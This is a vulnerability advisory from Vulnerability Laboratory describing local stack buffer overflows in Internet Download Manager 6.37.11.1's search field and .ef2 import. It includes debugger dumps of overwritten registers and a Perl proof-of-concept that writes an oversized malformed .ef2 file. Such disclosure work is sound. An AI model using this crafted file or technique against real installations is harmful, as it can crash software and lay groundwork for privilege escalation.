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# Title: Internet Download Manager 6.37.11.1 - Stack Buffer Overflow (PoC)
# Author: Vulnerability Laboratory
# Date: 2020-04-28
# Vendor: https://www.internetdownloadmanager.com
# Software: https://www.internetdownloadmanager.com/download.html
# CVE: N/A

Document Title:
===============
Internet Download Manager v6.37.11.1 - Stack Buffer Overflow Vulnerabilities


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2236


Common Vulnerability Scoring System:
====================================
7.1


Vulnerability Disclosure Timeline:
==================================
2020-04-28: Public Disclosure (Vulnerability Laboratory)
(Copy of the Homepage:
https://www.internetdownloadmanager.com/support/about_us.html )
(Sofwtare Product: https://www.internetdownloadmanager.com/download.html)


Exploitation Technique:
=======================
Local


Severity Level:
===============
High


Technical Details & Description:
================================
Multiple stack buffer overflow vulnerabilities has been discovered in
the official Internet Download Manager v6.37.11.1 software.
The bufer overflow allows to overwrite registers of the process to
compromise the file-system by elevates local process privileges.

1.1
The first stack buffer overflow is located in the `search` function of
the downloads menu. The search function itself does not use
any secure restriction in the requested search variable of the inputs.
Local attackers with access to the software are able to overflow
the registers to elevate local process privileges. Thus allows a local
attacker to compromise the local computer- or file-system.

1.2
The second stack buffer overflow is located in the `Export/Import`
function of the tasks menu. Local users are able to import and
export the download tasks as *.ef2 file. Local attackers are able to
import manipulated *.ef2 files with manipulated referer and
source url to overwrite the eip register. The issue occurs because of
the insufficient ef2 filetype (context) validation process
that does not perform any length restrictions.

The security risk of the local stack buffer overflow vulnerabilities in
the software are estimated as high with a cvss count of 7.1.
Exploitation of the buffer overflow vulnerability requires a low
privilege or restricted system user account without user interaction.
Successful exploitation of the vulnerability results in overwrite of the
active registers to compromise of the computer system or process.

Vulnerable Module(s):
[+] Search
[+] Import/Export (ef2)


Proof of Concept (PoC):
=======================
1.1
The stack buffer overflow vulnerability can be exploited by local
attackers with system user privileges without user interaction.
For security demonstration or to reproduce the local vulnerability
follow the provided information and steps below to continue.


Manual steps to reproduce the vulnerability ...
1. Open the software
2. Click the downloads menu and open the search
3. Inject a large unicode payload inside the search input field and transmit
4. The software crashs with several uncaught exception because of
overwritten register (0168D8F0)
5. Successful reproduce of the local buffer overflow vulnerability!


--- Debug Logs (0168D8F0) ---
00d61850 668b08          mov     cx,word ptr [eax]        ds:002b:41414141
-
00D6186D  |. 56             PUSH ESI                                 ; /Arg1
-
00D61882  |. E8 59FFFFFF    CALL IDMan.00D617E0                      ;
IDMan.00D617E0
-
00D6189B  |> 50             PUSH EAX                                 ; /Arg1
-
00D6189E  |. E8 3DFFFFFF    CALL IDMan.00D617E0                      ;
IDMan.00D617E0
-
Call stack
 Address=0168C79C
 Stack=00DFE0F2
 Procedure / arguments=IDMan.00D617E0
 Called from=IDMan.00DFE0ED
 Frame=0168E02C
-
SEH chain
Address    SE handler
0168C790   IDMan.00F751E8
0168D8F0   41414141
-
EAX 41414141
ECX 01680000
EDX 41414141
EBX 00000001
ESP 0168C76C
EBP 0168E02C UNICODE "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..."
ESI 0168C7AC UNICODE "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA..."
EDI 00410043
EIP 00D61850 IDMan.00D61850
Executable modules
 Base=00D60000
 Size=00539000 (5476352.)
 Entry=00F5CB1C IDMan.<ModuleEntryPoint>
 Name=IDMan
 File version=6, 37, 11, 2
 Path=C:Program Files (x86)Internet Download ManagerIDMan.exe


1.2
The stack buffer overflow vulnerability can be exploited by local
attackers with system user privileges without user interaction.
For security demonstration or to reproduce the local vulnerability
follow the provided information and steps below to continue.


Manual steps to reproduce the vulnerability ...
1. Open the software
2. Start the bof_poc.pl
3. Open the tasks menu
4. Click import and import *.ef2 poc
Note: The software process crashs on import with uncaught exception
5. Successful reproduce of the local buffer overflow vulnerability!


Usage Example: Export/Import (*.ef2)
<
https://www.vulnerability-lab.com/download_content.php?id=1337
referer: https://www.vulnerability-lab.com/
User-Agent: Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko
>


PoC: Exploit
#!/usr/bin/perl
# Local Stack Buffer Overflow Exploit for Internet Download Manager
v6.37.11.1
# Vulnerability Laboratory - Benjamin Kunz Mejri
my $poc = "bof_poc.ef2" ;
print "[+] Producing bof_poc.ef2 ..." ;
my $buff0=" "."<" x 1;
my $buff1=" n https://"."A" x 1024;
my $buff2=" n Referer:"."A" x 1024;
my $buff3=" n User Agent:"."A" x 1024;
my $buff4=" n ".">" x 1;
open(ef2, ">>$poc") or die "Cannot open $poc";
print ef2 $buff0;
print ef2 $buff1;
print ef2 $buff2;
print ef2 $buff3;
print ef2 $buff4;
close(ef2);
print "n[+] done !";


Credits & Authors:
==================
Vulnerability-Lab -
https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab
Benjamin Kunz Mejri -
https://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.


-- 
VULNERABILITY LABORATORY - RESEARCH TEAM